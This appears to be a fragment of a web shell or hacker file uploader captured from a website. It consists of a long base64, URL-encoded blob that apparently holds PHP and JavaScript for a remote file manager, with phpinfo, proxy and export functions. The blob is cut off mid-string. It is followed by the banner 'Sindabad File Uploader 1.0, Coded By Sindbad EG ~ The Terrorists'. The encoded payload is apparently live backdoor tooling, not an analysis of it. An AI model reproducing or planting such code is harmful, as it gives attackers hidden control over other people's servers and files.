LicgfCB2ZXIuICcuJGZtX3ZlcnNpb24uJyB8IDxhIGhyZWY9XCJodHRwczpcL1wvZ2l0aHViLmNvbVwvRGVuMXh4eFwvRmlsZW1hbmFnZXJcIj5HaXRodWI8XC9hPiAgfCA8YSBocmVmPVwiJy5mbV9zaXRlX3VybCgpLidcIj4uPFwvYT4nO1xyXG5cdGlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19waHBfdmVyJ10pKSBlY2hvICcgfCBQSFAgJy5waHB2ZXJzaW9uKCk7XHJcblx0aWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X3BocF9pbmknXSkpIGVjaG8gJyB8ICcucGhwX2luaV9sb2FkZWRfZmlsZSgpO1xyXG5cdGlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19ndCddKSkgZWNobyAnIHwgJy5fXygnR2VuZXJhdGlvbiB0aW1lJykuJzogJy5yb3VuZCgkdG90YWx0aW1lLDIpO1xyXG5cdGlmICghZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlX3Byb3h5J10pKSBlY2hvICcgfCA8YSBocmVmPVwiP3Byb3h5PXRydWVcIj5wcm94eTxcL2E%2BJztcclxuXHRpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfcGhwaW5mbyddKSkgZWNobyAnIHwgPGEgaHJlZj1cIj9waHBpbmZvPXRydWVcIj5waHBpbmZvPFwvYT4nO1xyXG5cdGlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd194bHMnXSkmJiFlbXB0eSgkbGluaykpIGVjaG8gJyB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OiB2b2lkKDApXCIgb25jbGljaz1cInZhciBvYmogPSBuZXcgdGFibGUyRXhjZWwoKTsgb2JqLkNyZWF0ZUV4Y2VsU2hlZXQoXFwnZm1fdGFibGVcXCcsXFwnZXhwb3J0XFwnKTtcIiB0aXRsZT1cIicuX18oJ0Rvd25sb2FkJykuJyB4bHNcIj54bHM8XC9hPic7XHJcblx0aWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9zZXR0aW5ncyddKSkgZWNobyAnIHwgPGEgaHJlZj1cIj9mbV9zZXR0aW5ncz10cnVlXCI%2BJy5fXygnU2V0dGluZ3MnKS4nPFwvYT4nO1xyXG5cdD8%2BXHJcbjxcL2Rpdj5cclxuPHNjcmlwdCB0eXBlPVwidGV4dFwvamF2YXNjcmlwdFwiPlxyXG5mdW5jdGlvbiBkb3dubG9hZF94bHMoZmlsZW5hbWUsIHRleHQpIHtcclxuXHR2YXIgZWxlbWVudCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTtcclxuXHRlbGVtZW50LnNldEF0dHJpYnV0ZSgnaHJlZicsICdkYXRhOmFwcGxpY2F0aW9uXC92bmQubXMtZXhjZWw7YmFzZTY0LCcgKyB0ZXh0KTtcclxuXHRlbGVtZW50LnNldEF0dHJpYnV0ZSgnZG93bmxvYWQnLCBmaWxlbmFtZSk7XHJcblx0ZWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnO1xyXG5cdGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZWxlbWVudCk7XHJcblx0ZWxlbWVudC5jbGljaygpO1xyXG5cdGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQoZWxlbWVudCk7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGJhc2U2NF9lbmNvZGUobSkge1xyXG5cdGZvciAodmFyIGsgPSBcIkFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5K1wvXCIuc3BsaXQoXCJcIiksIGMsIGQsIGgsIGUsIGEsIGcgPSBcIlwiLCBiID0gMCwgZiwgbCA9IDA7IGwgPCBtLmxlbmd0aDsgKytsKSB7XHJcblx0XHRjID0gbS5jaGFyQ29kZUF0KGwpO1xyXG5cdFx0aWYgKDEyOCA%2BIGMpIGQgPSAxO1xyXG5cdFx0ZWxzZVxyXG5cdFx0XHRmb3IgKGQgPSAyOyBjID49IDIgPDwgNSAqIGQ7KSArK2Q7XHJcblx0XHRmb3IgKGggPSAwOyBoIDwgZDsgKytoKSAxID09IGQgPyBlID0gYyA6IChlID0gaCA%2FIDEyOCA6IDE5MiwgYSA9IGQgLSAyIC0gNiAqIGgsIDAgPD0gYSAmJiAoZSArPSAoNiA8PSBhID8gMSA6IDApICsgKDUgPD0gYSA%2FIDIgOiAwKSArICg0IDw9IGEgPyA0IDogMCkgKyAoMyA8PSBhID8gOCA6IDApICsgKDIgPD0gYSA%2FIDE2IDogMCkgKyAoMSA8PSBhID8gMzIgOiAwKSwgYSAtPSA1KSwgMCA%2BIGEgJiYgKHUgPSA2ICogKGQgLSAxIC0gaCksIGUgKz0gYyA%2BPiB1LCBjIC09IGMgPj4gdSA8PCB1KSksIGYgPSBiID8gZiA8PCA2IC0gYiA6IDAsIGIgKz0gMiwgZiArPSBlID4%2BIGIsIGcgKz0ga1tmXSwgZiA9IGUgJSAoMSA8PCBiKSwgNiA9PSBiICYmIChiID0gMCwgZyArPSBrW2ZdKVxyXG5cdH1cclxuXHRiICYmIChnICs9IGtbZiA8PCA2IC0gYl0pO1xyXG5cdHJldHVybiBnXHJcbn1cclxuXHJcblxyXG52YXIgdGFibGVUb0V4Y2VsRGF0YSA9IChmdW5jdGlvbigpIHtcclxuICAgIHZhciB1cmkgPSAnZGF0YTphcHBsaWNhdGlvblwvdm5kLm1zLWV4Y2VsO2Jhc2U2NCwnLFxyXG4gICAgdGVtcGxhdGUgPSAnPGh0bWwgeG1sbnM6bz1cInVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNlOm9mZmljZVwiIHhtbG5zOng9XCJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpleGNlbFwiIHhtbG5zPVwiaHR0cDpcL1wvd3d3LnczLm9yZ1wvVFJcL1JFQy1odG1sNDBcIj48aGVhZD48IS0tW2lmIGd0ZSBtc28gOV0%2BPHhtbD48eDpFeGNlbFdvcmtib29rPjx4OkV4Y2VsV29ya3NoZWV0cz48eDpFeGNlbFdvcmtzaGVldD48eDpOYW1lPnt3b3Jrc2hlZXR9PFwveDpOYW1lPjx4OldvcmtzaGVldE9wdGlvbnM%2BPHg6RGlzcGxheUdyaWRsaW5lcz48XC94OkRpc3BsYXlHcmlkbGluZXM%2BPFwveDpXb3Jrc2hlZXRPcHRpb25zPjxcL3g6RXhjZWxXb3Jrc2hlZXQ%2BPFwveDpFeGNlbFdvcmtzaGVldHM%2BPFwveDpFeGNlbFdvcmtib29rPjxcL3htbD48IVtlbmRpZl0tLT48bWV0YSBodHRwLWVxdWl2PVwiY29udGVudC10eXBlXCIgY29udGVudD1cInRleHRcL3BsYWluOyBjaGFyc2V0PVVURi04XCJcLz48XC9oZWFkPjxib2R5Pjx0YWJsZT57dGFibGV9PFwvdGFibGU%2BPFwvYm9keT48XC9odG1sPicsXHJcbiAgICBmb3JtYXQgPSBmdW5jdGlvbihzLCBjKSB7XHJcbiAgICAgICAgICAgIHJldHVybiBzLnJlcGxhY2UoXC97KFxcdyspfVwvZywgZnVuY3Rpb24obSwgcCkge1xyXG4gICAgICAgICAgICAgICAgcmV0dXJuIGNbcF07XHJcbiAgICAgICAgICAgIH0pXHJcbiAgICAgICAgfVxyXG4gICAgcmV0dXJuIGZ1bmN0aW9uKHRhYmxlLCBuYW1lKSB7XHJcbiAgICAgICAgaWYgKCF0YWJsZS5ub2RlVHlwZSkgdGFibGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCh0YWJsZSlcclxuICAgICAgICB2YXIgY3R4ID0ge1xyXG4gICAgICAgICAgICB3b3Jrc2hlZXQ6IG5hbWUgfHwgJ1dvcmtzaGVldCcsXHJcbiAgICAgICAgICAgIHRhYmxlOiB0YWJsZS5pbm5lckhUTUwucmVwbGFjZShcLzxzcGFuKC4qPylcXFwvc3Bhbj4gXC9nLFwiXCIpLnJlcGxhY2UoXC88YVxcYltePl0qPiguKj8pPFxcXC9hPlwvZyxcIiQxXCIpXHJcbiAgICAgICAgfVxyXG5cdFx0dCA9IG5ldyBEYXRlKCk7XHJcblx0XHRmaWxlbmFtZSA9ICdmbV8nICsgdC50b0lTT1N0cmluZygpICsgJy54bHMnXHJcblx0XHRkb3dubG9hZF94bHMoZmlsZW5hbWUsIGJhc2U2NF9lbmNvZGUoZm9ybWF0KHRlbXBsYXRlLCBjdHgpKSlcclxuICAgIH1cclxufSkoKTtcclxuXHJcbnZhciB0YWJsZTJFeGNlbCA9IGZ1bmN0aW9uICgpIHtcclxuXHJcbiAgICB2YXIgdWEgPSB3aW5kb3cubmF2a
Sindabad File Uploader 1.0, Coded By Sindbad EG ~ The Terrorists